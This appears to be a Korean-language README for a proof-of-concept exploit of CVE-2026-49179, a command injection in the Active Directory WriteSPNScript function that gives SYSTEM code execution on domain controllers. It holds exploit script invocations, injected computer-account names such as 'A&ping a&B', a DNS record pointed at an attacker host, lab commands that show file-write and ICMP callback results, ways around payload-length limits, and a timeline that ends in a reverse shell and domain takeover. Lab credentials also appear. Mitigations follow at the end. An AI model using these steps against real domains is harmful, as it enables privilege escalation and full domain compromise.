
CVE-2026-49179에 대한 개념 증명 및 익스플로잇 스크립트로, Active Directory의 WriteSPNScript 함수에서 발생하는 명령 주입 취약점으로 도메인 컨트롤러에서 SYSTEM 권한의 원격 코드 실행(RCE)이 가능합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (명령 주입) |
| 영향받는 구성 요소 | ntdsai.dll — WriteSPNScript 함수 |
| 영향받는 시스템 | Windows Server 2016, 2019, 2022, 2025 (패치 전) |
| 공격 벡터 | 인증된 도메인 사용자 (모두) |
| 영향 | 도메인 컨트롤러에서 SYSTEM 권한으로 원격 코드 실행 |
| 공개일 | 2026년 8월 |
ntdsai.dll의 WriteSPNScript 함수는 Active Directory 유지 관리 작업 중 SPN(서비스 사용자 이름) 교정을 위한 배치 스크립트 명령을 생성합니다. 이 함수는 형식 문자열을 사용하여 repadmin.exe /writespn 명령을 구성하지만, DN(Distinguished Name) 매개변수를 정제하지 않아 & 문자(cmd.exe 명령 구분자)를 통한 명령 주입이 가능합니다.
취약한 형식 문자열:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
매개변수: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
DN은 계정 생성 시 설정되는 컴퓨터 계정의 CN(Common Name)에서 파생됩니다. 컴퓨터 계정이 이름에 셸 메타문자를 포함하여 생성되면, 해당 문자들이 이스케이프되지 않은 채 생성된 스크립트로 흘러 들어갑니다. cmd.exe가 스크립트를 실행할 때 &는 명령 구분자로 작동하여 공격자가 제어하는 명령을 SYSTEM 권한으로 실행합니다.
Active Directory에는 컴퓨터 계정을 관리하기 위한 두 가지 주요 프로토콜이 있습니다:
이 검증 비대칭이 근본 원인입니다:
sAMAccountName에 셸 메타문자를 허용하며, 이것이 CN이 되어 DN으로 흘러 들어갑니다WriteSPNScript에 전달됩니다패치되지 않은 바이너리의 0x1802a98a0 주소:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI 출력 버퍼
char local_288[47]; // 형식: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // 시스템 디렉터리
GetSystemDirectoryW(local_258, 0x104);
// 버퍼 크기 계산 (모든 문자열 길이의 합 + 오버헤드)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// 할당 및 형식 지정 — DN 또는 SPN 매개변수에 대한 이스케이프 없음
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// 스크립트 파일 핸들에 쓰기
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA는 DN을 출력 버퍼에 직접 형식 지정합니다. 이스케이프도, 따옴표 처리도, 정제도 없습니다.
CN=A&ping attacker&B인 컴퓨터의 경우:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe는 이를 다섯 개의 개별 문으로 해석합니다:
주입된 명령은 두 번 나타납니다 — 한 번은 DN 매개변수에서, 한 번은 SPN 매개변수(컴퓨터 이름도 포함)에서.
패치된 WriteSPNScript (크기: 1477 → 2005 바이트)는 세 가지 변경을 수행합니다:
DN과 SPN 매개변수 모두에 적용되는 두 개의 새로운 정제 함수:
EscapeForPowerShellSingleQuote() — 작은따옴표 문자열에서 탈출을 방지하기 위해 '를 이스케이프EscapeForNativeArgvBackslashesBeforeDoubleQuote() — 네이티브 argv 파싱을 위해 " 앞의 \ 시퀀스를 이스케이프이전 개정판에는 수정을 제어하는 기능 플래그 Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled가 있었습니다. 최종 패치에서는 이 플래그가 제거되었습니다 — 수정 사항은 항상 활성화되며 비활성화할 수 없습니다.
spn_probe3.py를 사용하여 SAMR이 컴퓨터 계정 이름에서 허용하는 문자와 LDAP이 SPN 값에서 허용하는 문자를 테스트했습니다:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
핵심 발견: SAMR은 테스트한 8개의 셸 메타문자를 모두 허용합니다. LDAP은 모두 차단합니다. 주입 벡터는 SPN 값이 아닌 SAMR로 생성된 컴퓨터 이름을 통합니다.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
samwell.tarly로도 생성됨:
[+] Created C&ping a&D$, RID: 1138
확인됨: 일반 도메인 사용자(PR:L)가 이름에 & 명령 주입을 포함한 컴퓨터 계정을 생성할 수 있음.
일반 도메인 사용자는 ADIDNS 레코드를 추가할 수 있습니다. dnstool.py를 사용하여 공격자를 가리키는 짧은 호스트 이름을 생성했습니다:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
DC에서 확인된 해석:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
WriteSPNScript가 생성할 정확한 출력을 시뮬레이션하여 DC에서 실행:
파일 쓰기 증명:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP 콜백 증명:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
공격자 tcpdump가 ICMP 도착을 확인:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
파일 쓰기와 ICMP 콜백 모두 DN을 통한 명령 주입을 확인합니다.
컴퓨터 계정 sAMAccountName은 후행 $ 앞에 약 15자로 제한됩니다 (NetBIOS 호환성 제약). 이는 페이로드 복잡성을 심각하게 제한합니다.
영향: IP 주소, 긴 명령 또는 복잡한 페이로드를 컴퓨터 이름에 직접 포함할 수 없습니다.
우회 방법: 콜백에 짧은 DNS 호스트 이름 사용 (예: 공격자 IP로 해석되는 단일 문자 a). 페이로드는 간결해야 합니다:
A&ping a&B (11자) — ICMP 콜백A&echo X&B (11자) — 실행 증명A&calc&B (8자) — DC에서 GUI 증명A&whoami&B (11자) — 컨텍스트 확인SAMR이 셸 메타문자(& ' \ $ ( ) ! space`)를 허용하지만, 파일 경로와 네트워크 주소에 필요한 문자는 거부합니다:
영향: 페이로드에 IP 주소, 파일 경로 또는 URL을 직접 사용할 수 없습니다.
우회 방법:
%TEMP%, %SYSTEMROOT%) — 단, % 허용 여부는 확인되지 않음WriteSPNScript는 WriteFile을 통해 스크립트 파일을 생성합니다 — 명령을 직접 실행하지 않습니다. 생성된 스크립트는 후속 프로세스에 의해 실행되어야 합니다. 이 함수는 다음 중에 호출됩니다:
dcdiag /fix — 관리자가 진단/복구 도구 실행FixupSPNsOnComputerObject — 속성 변경 중 SPN 교정영향: 주입은 즉시 준비되지만(컴퓨터 생성), 실행은 DC의 트리거 이벤트에 따라 달라집니다. 복제 파트너가 없는 단일 DC 환경에서는 트리거에 관리자 활동(예: dcdiag /fix 실행)이 필요할 수 있습니다.
프로덕션 환경: 다중 DC 배포에는 정기적인 복제 주기가 있습니다. 복제 중 발견된 SPN 불일치는 충돌 해결의 일부로 WriteSPNScript를 자동으로 트리거합니다.
기본 ms-DS-MachineAccountQuota는 사용자당 10입니다. 각 주입 시도는 하나의 슬롯을 소비합니다. 이름에 특수 문자가 있는 컴퓨터 계정은 표준 도구로 삭제하기 어렵습니다.
영향: 사용자 계정당 시도 횟수 제한. 실패한 시도는 할당량을 낭비합니다.
우회 방법: 각 도메인 사용자는 자신의 할당량을 가집니다. 사용자가 많은 환경에서는 공격자가 여러 계정을 사용할 수 있습니다.
이름에 &, $, (, )가 포함된 컴퓨터 계정은 특수 문자가 명령 파싱을 방해하기 때문에 표준 AD 관리 도구(ADUC, PowerShell Remove-ADComputer)로 쉽게 삭제할 수 없습니다. 이는 포렌식 아티팩트를 남깁니다.
대체 악용 경로 — 깨끗한 이름의 컴퓨터를 생성하고, 유효한 SPN을 설정한 다음, DN을 주입하기 위해 이름을 변경 — 를 테스트했지만 LDAP ModifyDN(이름 변경) 작업에는 상승된 권한이 필요합니다:
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark: [+] Rename succeeded (domain admin)
영향: 이름 변경 전략은 PR:L에 실행 가능하지 않습니다. 주입 문자를 사용한 직접 SAMR 생성이 PR:L 경로입니다.
&<command>&를 포함한 컴퓨터 계정 생성WriteSPNScript를 트리거하여 이스케이프되지 않은 repadmin.exe 명령 생성1일차: 공격자 (모든 도메인 사용자)가 익스플로잇 실행
- SAMR을 통해 컴퓨터 "A&ping a&B$" 생성
- C2 서버를 가리키는 DNS 레코드 "a" 추가
- 주입이 준비됨 — 공격자가 대기
N일차: 관리자가 dcdiag /fix 실행 (일상 유지 관리)
- WriteSPNScript가 악성 컴퓨터 계정 처리
- 이스케이프되지 않은 DN으로 repadmin 명령 생성
- cmd.exe가 SYSTEM 권한으로 "ping a" 실행 → 콜백 확인
N일차: 공격자가 페이로드 업그레이드
- 리버스 셸 페이로드로 새 컴퓨터 생성
- 다음 유지 관리 주기 또는 복제 이벤트 대기
- DC에서 SYSTEM 셸 → 전체 도메인 장악
Microsoft의 2026년 8월 패치 화요일 보안 업데이트 적용
비정상적인 문자에 대해 컴퓨터 계정 감사:
Get-ADComputer -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
Select-Object Name, sAMAccountName, Created, DistinguishedName
ms-DS-MachineAccountQuota를 0으로 설정하여 일반 사용자가 컴퓨터 계정을 생성하지 못하도록 방지:
Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
이벤트 ID 4741 (컴퓨터 계정 생성됨)을 모니터링하여 계정 이름의 비정상적인 문자 확인
일반 사용자에게 필요하지 않은 경우 ADIDNS 레코드 생성 제한
| 프로토콜 | 문자 검증 | 셸 메타문자 |
|---|
| LDAP (SPN 값) | 엄격 — CONSTRAINT_ATT_TYPE이 & ; | ' \ $ ( )` 거부 | 차단됨 |
| SAMR (컴퓨터 이름) | 느슨 — 기본 계정 이름 형식만 검증 | 허용됨: & ' \ $ ( ) ! space` |
| # | 문 | 결과 |
|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | 실패 (잘린 DN) |
| 2 | ping attacker | 주입됨 — SYSTEM 권한으로 실행 |
| 3 | B,CN=Computers,DC=... HOST/A | 실패 (유효한 명령이 아님) |
| 4 | ping attacker | 주입됨 — 다시 실행됨 (SPN 매개변수에서) |
| 5 | B | 실패 (유효한 명령이 아님) |
| 기본 (취약) | 패치됨 |
|---|
| 함수 | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| 따옴표 처리 | 없음 | 작은따옴표로 묶인 매개변수 |
| 출력 | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
| 호스트 | 역할 | IP | OS |
|---|
| WINTERFELL | 도메인 컨트롤러 | 192.168.56.11 | Windows Server 2019 |
| 공격자 | Kali Linux | 192.168.14.238 | Kali 2026 |
| 도메인 | north.sevenkingdoms.local | ||
| 저권한 사용자 | samwell.tarly / Heartsbane | 일반 도메인 사용자 | |
| 관리자 사용자 | robb.stark / sexywolfy | 도메인 관리자 |
| 단계 | 작업 | 행위자 | 결과 |
|---|
| 1 | SAMR이 컴퓨터 이름에 & 허용 | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP이 SPN 값에 & 거부 | samwell.tarly | 100% 거부 |
| 3 | 콜백을 위한 DNS 레코드 생성 | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | 주입 CN을 가진 컴퓨터 계정 | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | cmd 주입을 통한 파일 쓰기 | DC (시뮬레이션된 WriteSPNScript) | proof.txt = "INJECTED" |
| 6 | cmd 주입을 통한 ICMP 콜백 | DC (시뮬레이션된 WriteSPNScript) | 3개의 ping 수신 |
| 거부됨 | 차단된 사용 사례 |
|---|
. (마침표) | IP 주소 (192.168.1.1), FQDN |
\ (백슬래시) | Windows 경로 (C:\Windows\...) |
/ (슬래시) | URL 경로, Unix 경로 |
: (콜론) | 드라이브 문자 (C:), 포트 번호 |
" (큰따옴표) | 페이로드의 따옴표/이스케이프 |
< > | ; , = + * ? | 리디렉션, 파이핑, 와일드카드 |
| 파일 | 설명 |
|---|
poc/spn_probe.py | LDAP SPN 값의 28개 셸 메타문자 모두 테스트 |
poc/spn_probe2.py | 유니코드 전각/호모글리프 우회 + DRSUAPI 전송 테스트 |
poc/spn_probe3.py | SAMR vs LDAP vs DRSUAPI 문자 허용 테스트 |
poc/spn_exploit.py | 이름 변경 전략을 통한 익스플로잇 (생성 → SPN → 이름 변경 → 주입) |
poc/spn_prl_exploit.py | PR:L 익스플로잇 (직접 SAMR 생성 + 선택적 dNSHostName 트리거) |
nspi_diff_analysis.txt | ntdsai.dll의 전체 바이너리 diff (기본 vs 패치됨) |